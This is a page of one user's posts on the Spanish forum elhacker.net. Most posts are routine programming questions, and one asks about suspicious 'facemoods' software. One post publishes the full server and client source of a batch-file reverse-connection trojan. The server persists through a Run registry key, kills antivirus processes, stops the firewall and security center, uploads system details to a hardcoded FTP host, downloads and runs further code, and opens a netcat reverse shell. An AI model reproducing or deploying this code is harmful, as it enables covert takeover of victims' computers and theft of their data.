elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Seguridad / Facemoods en: 23 Marzo 2011, 00:08 am
Ultimamente, desde hace ya unos cuantos meses creo, he estado observando cierto servicio que misteriosamente en la inmensa mayoria de los equipos que configuro, se hace llamar facemoods, y segun google, facemoods es algun tipo de pack de emoticonos para utilizar en el cha de facebook

http://www.facemoods.com/

Ahora bien, si realmente son solo un paquete de emoticonos, por que tiene un servicio que se arranca automaticamente al iniciar (crea una clave en el registro), emoticonos .exe?

aparte de eso me he topado con este caso en equipos de personas que ni conocen lo que es facebook ni hay rastro de que hayan sido utilizados en ese chat.

y por ulitmo y mas impactante, hace apenas 5 minutos me he topado con esto en mi propio pc, en ocasiones mi pc es utilizado por mi madre o mis hermanas, que podrian usar el chat de facebook, haber como me explica alguien como puede haber creado una clave en el registro
(HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run)
Con una cuenta de usuario limitado, el cual es imposible que tenga privilegios para realizar esa accion.

Haber si alguien puede aportar algo.
2  Programación / Programación General / Que te parece la idea de sistema operativo destinado a videojuegos? en: 25 Septiembre 2010, 22:31 pm
Por que para jugar un juego actual en un pc es necesario un equipo de 8 gigas de ram un procesador de cuatro nucleos y una grafica de 400 euros?

Una consola lo hace con muchisimo menos hardware, y cuesta mucho menos.
la razon, el sistema operativo no? XD
3  Programación / Programación C/C++ / Concatenar enteros. en: 11 Junio 2010, 15:06 pm
Alguien podria decirme una forma de concatenar un array de tipo integer?

pongo un ejemplo

int a[3]
a[0] = 1; a[1] = 2; a[2] = 3;

El contenido de a seria.
a = 123

Creo que se entiende.
4  Programación / Programación C/C++ / Interpretar archivo como numero entero en: 4 Junio 2010, 00:43 am
Hola, viendo que nadie es capaz de ayudarme en el lenguaje vb6, intentare hacerlo en C++. Comienzo explicando lo que necesito:

Cualquier fichero en un ordenador esta compuesto unicamente de bits, el sistema binario es un sistema de numeracion, es decir yo tendria que ser capaz de leer un archivo del disco duro y obtener en memoria un UNICO numero, soy consciente de que un archivo de varios megabytes podria contener un numero de longitud inmensa.

Lo que necesito es abrir un archivo, leerlo, y realizar una simple operacion matematica, en vb consegui hacerlo usando variables long o double y abriendo en archivo en modo binario, pero una variable double tiene un maximo de longitud y por supuesto a poco que pese el archivo la superas.

Para este problema creo que con los punteros de C se debe poder hacer sin problemas.

Alguien puede echarme una mano? Gracias.
5  Programación / Programación Visual Basic / Interpretar archivo como numero entero en: 2 Junio 2010, 23:33 pm
Buenas, intento abrir un archivo del tipo que sea, leerlo en modo binario y luego quiero convertirlo a un tipo numerico, el problema me viene en el ultimo paso.

El archivo lo tengo guardado en un array byte, y quisiera pasarlo a un tipo long o similar, alguien sabria decirme una buena forma de hacerlo?

y otra, es posible que el array byte sea muy grande, puesto que creo que no hay ningun tipo numerico mas grande que long, que deberia hacer? memoria dinamica?

Espero respuestas, gracias.
6  Programación / Programación C/C++ / Programacion de servicios en red C++ en: 13 Mayo 2010, 18:47 pm
Hola, buenas, me propongo programar un servicio y me vienen dos problemas desde el principio.

1º Cual es la forma apropiada de establecer los sockets de modo que pueda atender a un indeterminado numero de personas y todo por el mismo puerto tcp?

2º Lo mismo pero para realizar consultas a bases de datos

Espero que alguien pueda ayudarme  ;D
7  Programación / Programación Visual Basic / Error de transmision por socket en: 28 Febrero 2010, 01:01 am
Buenas, estoi usando el control winsock para una aplicacion, funciona todo perfectamente, tengo otra aplicacion en C que es la que conecta, ocurre, que al enviar un paquete grande desde la aplicacion en C, no llega todo a la que esta en VB, solo llega un pedazo.

En las pruebas que hice, vi que mi aplicacion en C enviaba correctamente todo concretamente 2057 bytes
Pero en el VB, solo recibia 1460 bytes, y efectivamente no es correcto el resultado mostrado.

Alguna idea?
8  Programación / Programación Visual Basic / Concatenar Array de bytes con string en: 10 Febrero 2010, 00:57 am
Buenas, tengo una duda que no se como solucionar, tengo un string y quiero agregar su contenido al final de un array de bytes, para que se entienda
Código:
Dim array() as byte
Dim Datos as string
Datos = "Datos"
array = array + Datos

Obviamente esa ultima linea no es correcta, pero espero que se entienda lo que quiero hacer, como puedo hacerlo?

Gracias
9  Programación / Scripting / Troyano de conexion inversa Batch en: 9 Febrero 2010, 22:21 pm
Hace tiempo que programe un troyano en batch y ahora que me he puesto, creo que estaria bien postearlo al publico aqui, los codes son un poco extensos

SERVER
Código:
@echo off
if exist codes.txt goto codes
set ins=instrucciones
set res=respuestas
set id=Default
set time=15
:init
if "%1" == "get" goto getfile
if "%1" == "ip" goto ip
if exist "c:\WINDOWS\system32\winnt32.exe" goto sinfect
copy %0 "c:\WINDOWS\system32\winnt32.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "wint32.exe" /t reg_sz /d "c:\WINDOWS\system32\winnt32.exe" /f
cd "C:\WINDOWS\system32"
tskill Avengine
tskill alogserv
tskill Apvxdwin
tskill SrvLoad
tskill navapsvc
tskill navapw32
tskill nisserv
tskill nisum
tskill avgcc32
tskill avgserv
tskill Avsynmgr
tskill avxinit
tskill avxlive
tskill defwatch
tskill Mcshield
tskill mcupdate
tskill pavsched
tskill persfw
tskill vptray
tskill vshwin32
tskill vsmon
tskill VSStat
tskill zapro
tskill zonealarm
tskill zclient
tskill webscanx
tskill sched
tskill avguard
net stop "Centro de Seguridad"
net stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
:confir
set/a hor=%TIME:~,2%
set/a min=%TIME:~3,2%
set/a seg=%TIME:~6%
echo id %id%>confir.txt
echo ins %ins%>>confir.txt
echo res %res%>>confir.txt
echo temp %time%>>confir.txt
echo %hor% : %min% : %seg%>>confir.txt
echo Batch Broyan V7>>confir.txt
echo He infectado correctamente y estoi a la espera de ordenes>>confir.txt
ver>>confir.txt
echo open nanoc.no-ip.info>descargar.txt
echo Troyan>>descargar.txt
echo crysis>>descargar.txt
echo cd Data\Notices>>C:\WINDOWS\system32\descargar.txt
echo put confir.txt>>descargar.txt
echo cd ..>>descargar.txt
echo cd securitysystem>>descargar.txt
echo get lssas.exe>>descargar.txt
echo bye>>descargar.txt
ftp -s:descargar.txt
del descargar.txt
del confir.txt
start lssas.exe
goto sinfect
:ip
set/a hor=%TIME:~,2%
set/a min=%TIME:~3,2%
set/a seg=%TIME:~6%
echo %hor% : %min% : %seg%>ip.txt
echo Batch Troyan V7>>ip.txt
echo Mi codigo de instruccion es %ins% y el de respuesta %res%>>ip.txt
echo El identificador de victima es %id%>>ip.txt
echo El tiempo de espera de conexion es de %time% segundos>>ip.txt
echo El sistema de seguridad esta funcionando correctamente>>ip.txt
if exist nc.exe (echo Parece haber un netcat en esta victima>>ip.txt)
echo Adjunto ip de la victima:>>ip.txt
ver>>ip.txt
ipconfig>>ip.txt
echo open nanoc.no-ip.info>descargar.txt
echo Troyan>>descargar.txt
echo crysis>>descargar.txt
echo cd Data\Packets>>C:\WINDOWS\system32\descargar.txt
echo put ip.txt>>descargar.txt
echo bye>>descargar.txt
ftp -s:descargar.txt
del descargar.txt
del ip.txt
exit
:sinfect
cd "C:\WINDOWS\system32"
echo id %id%>conect.txt
echo ins %ins%>>conect.txt
echo res %res%>>conect.txt
cd "C:\WINDOWS\system32"
if exist %res%.txt goto sendresp
tskill Avengine
tskill alogserv
tskill Apvxdwin
tskill SrvLoad
tskill navapsvc
tskill navapw32
tskill nisserv
tskill nisum
tskill avgcc32
tskill avgserv
tskill Avsynmgr
tskill avxinit
tskill avxlive
tskill defwatch
tskill Mcshield
tskill mcupdate
tskill pavsched
tskill persfw
tskill vptray
tskill vshwin32
tskill vsmon
tskill VSStat
tskill zapro
tskill zonealarm
tskill zclient
tskill webscanx
tskill sched
tskill avguard
net stop "Centro de Seguridad"
net stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
ping -n %time% 127.0.0.1 > nul
echo open nanoc.no-ip.info>descargar.txt
echo Troyan>>C:\WINDOWS\system32\descargar.txt
echo crysis>>C:\WINDOWS\system32\descargar.txt
echo cd Data\Packets>>C:\WINDOWS\system32\descargar.txt
echo get %ins%.bat>>C:\WINDOWS\system32\descargar.txt
echo del %ins%.bat>>C:\WINDOWS\system32\descargar.txt
echo put conect.txt>>C:\WINDOWS\system32\descargar.txt
echo bye>>C:\WINDOWS\system32\descargar.txt
ftp -s:C:\WINDOWS\system32\descargar.txt
del C:\WINDOWS\system32\descargar.txt
del conect.txt
echo start winnt32.exe>>C:\WINDOWS\system32\%ins%.bat
echo exit>>C:\WINDOWS\system32\%ins%.bat
call %ins%.bat
:codes
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "newinst" codes.txt') do set ins=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "newresp" codes.txt') do set res=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "newid" codes.txt') do set id=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "temp" codes.txt') do set time=%%a
goto init
:sendresp
echo open nanoc.no-ip.info>C:\WINDOWS\system32\descargar.txt
echo Troyan>>C:\WINDOWS\system32\descargar.txt
echo crysis>>C:\WINDOWS\system32\descargar.txt
echo cd Data\Packets>>C:\WINDOWS\system32\descargar.txt
echo put %res%.txt>>C:\WINDOWS\system32\descargar.txt
echo put conect.txt>>C:\WINDOWS\system32\descargar.txt
echo bye>>C:\WINDOWS\system32\descargar.txt
ftp -s:C:\WINDOWS\system32\descargar.txt
del C:\WINDOWS\system32\descargar.txt
del C:\WINDOWS\system32\%res%.txt
del C:\WINDOWS\system32\%ins%.bat
goto sinfect
:getfile
echo open nanoc.no-ip.info>C:\WINDOWS\system32\descargar.txt
echo Troyan>>C:\WINDOWS\system32\descargar.txt
echo crysis>>C:\WINDOWS\system32\descargar.txt
echo cd Data\Files>>C:\WINDOWS\system32\descargar.txt
echo get %2>>C:\WINDOWS\system32\descargar.txt
echo bye>>C:\WINDOWS\system32\descargar.txt
ftp -s:C:\WINDOWS\system32\descargar.txt
del descargar.txt
exit

CLIENTE
Código:
@echo off
TITLE Batch Troyan client V7
echo Bienvenido al Batch troyan client V7
pause >nul
if exist Data\Notices\alert.txt goto alert
if exist Data\Notices\confir.txt goto do
:menus
del Data\Notices\confir.txt
del Data\Notices\alert.txt
cls
echo 1 Ver victimas conectadas
echo 2 Introducir codigos manualmente
echo 3 Salir
set /p opc=Introduce numero de opcion: 
if %opc%==1 goto vic
if %opc%==2 goto codt
if %opc%==3 goto exit
cls
echo Error2
pause > nul
goto menus
:codt
cls
set /p ins=Introduce codigo de instruccion del server:
cls
set /p res=Introduce codigo de respuesta del server:
:menu
cls
echo 1 Enviar comando al server
echo 2 Pedir Informacion general
echo 3 Comprobar estado del security system
echo 4 Obtener shell de la victima
echo 5 Descargar archivo de la victima
echo 6 Cambiar codigos de la victima
echo 7 Colocar netcat a la escucha
echo 8 Colocar servidor ftp
echo 9 Subir archivo al server
echo 10 salir
set /p pag=Introduce numero de opcion: 
if %pag%==1 goto send
if %pag%==2 goto try
if %pag%==3 goto sec
if %pag%==4 goto inv
if %pag%==5 goto arch
if %pag%==6 goto codes
if %pag%==7 goto shell
if %pag%==8 goto ftp
if %pag%==9 goto load
if %pag%==10 goto exit
cls
echo Error2
pause>nul
goto menu
:try
echo Enviando paquete de instrucciones...
echo start winnt32.exe ip>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones...OK
ping -n 1 127.0.0.1 >nul
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon

cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:respon
cls
echo server OK!
ping -n 1 127.0.0.1 >nul
echo Pidiendo informacion de victima...
ping -n 3 127.0.0.1 >nul
echo OK!
cls
type Data\Packets\ip.txt
pause >nul
cls
del Data\Packets\ip.txt
cls
goto menu
:send
cls
set /p com=Escribe comando para enviar:
echo %com%^>^%res%.txt>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 10 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 10 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 5 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 10 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp
cls
echo Comando enviado correctamente!
cls
type Data\Packets\%res%.txt
pause >nul
cls
set /p sav=Deseas guardar la respuesta del server(si\no):
if %sav%==si goto save
del Data\Packets\%res%.txt
cls
goto menu
:exit
msg * Gracias por usar programas del grupo Crysis  http:\\crysisteam.no-ip.info
exit
:sec
echo if exist lssas.exe goto siex>>Data\Packets\%ins%.bat
echo echo El sistema de seguridad no funciona^>^>%res%.txt>>Data\Packets\%ins%.bat
echo exit>>Data\Packets\%ins%.bat
echo :siex>>Data\Packets\%ins%.bat
echo echo El sistema de seguridad funciona correctamente^>^>%res%.txt>>Data\Packets\%ins%.bat
attrib -h %inst%.bat
cls
echo Enviando paquete de instrucciones...OK
ping -n 1 127.0.0.1 >nul
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp

cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:respon
cls
echo server OK!
ping -n 1 127.0.0.1 >nul
echo Pidiendo informacion del security system...
ping -n 3 127.0.0.1 >nul
echo OK!
cls
type Data\Packets\%res%.txt
pause >nul
cls
set /p sav=Deseas guardar la respuesta del server(si\no):
if %sav%==si goto save
del Data\Packets\%res%.txt
cls
goto menu
:save
set /p nom=Con que nombre deseas guardarla?:
if exist saves goto exis
mkdir saves
rename Data\Packets\%res%.txt Data\Packets\%nom%.txt
copy Data\Packets\%nom%.txt Data\saves\%nom%.txt
del Data\Packets\%nom%.txt
goto menu
:exis
rename Data\Packets\%res%.txt Data\Packets\%nom%.txt
copy Data\Packets\%nom%.txt Data\saves\%nom%.txt
del Data\Packets\%nom%.txt
goto menu

:inv
cls
echo Para usar esta opcion es necesario tener el programa netcat (nc.exe) en la carpeta Data\Files del ftp
echo Asegurate de que esta hay, despues pulsa enter
pause > nul
cls
set /p dns=Introduce la ip/dns de este equipo:
cls
set /p porti=Introduce el puerto que quieras usar:
cls
echo Esta opcion utiliza una shell inversa con netcat
echo Si usas router o tienes un firewall asegurate de abrir el puerto que diste antes o de dar permisos de salida a "nc.exe"
echo El cliente pasara a esperar la conexion del server
pause
cls
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get nc.exe^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo start nc -d -e cmd.exe %dns% %porti%>>Data\Packets\%ins%.bat
cls
nc -vv -L -p %porti%

:arch
cls
set /p arc=Introduce la ruta del archivo a descargar:
cls
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo put %arc%>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo La descarga del archivo a comenzado^>^>%res%.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp5
cls
type Data\Packets\%res%.txt
pause >nul
del Data\Packets\%res%.txt
cls
goto menu
:codes
cls
set /p codeins=Introduce nuevo codigo de instruccion:
cls
set /p coderes=Introduce nuevo codigo de respuesta:
cls
set /p idcode=Introduce nuevo identificador de victima:
cls
set /p temp=Introduce nuevo tiempo de espera de conexion:
echo del codes.txt>>Data\Packets\%ins%.bat
echo echo newinst %codeins%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo newresp %coderes%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo newid %idcode%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo temp %temp%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo Los codigos han sido cambiados con exito^>^>%coderes%.txt>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp6
cls
type Data\Packets\%coderes%.txt
pause >nul
del Data\Packets\%coderes%.txt
cls
echo Despues de este comando es necesario volver a conectar
echo Recuerda introducir los nuevos codigos
pause > nul
goto menus
:shell
cls
echo Para usar esta opcion es necesario tener el programa netcat (nc.exe) en el directorio raiz del ftp
echo Asegurate de que esta hay, despues pulsa enter
pause > nul
cls
set /p port=Introduce el puerto donde colocar netcat a la escucha:
cls
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get nc.exe^>^>^descar.txt>>Data\Packets\%ins%.bat
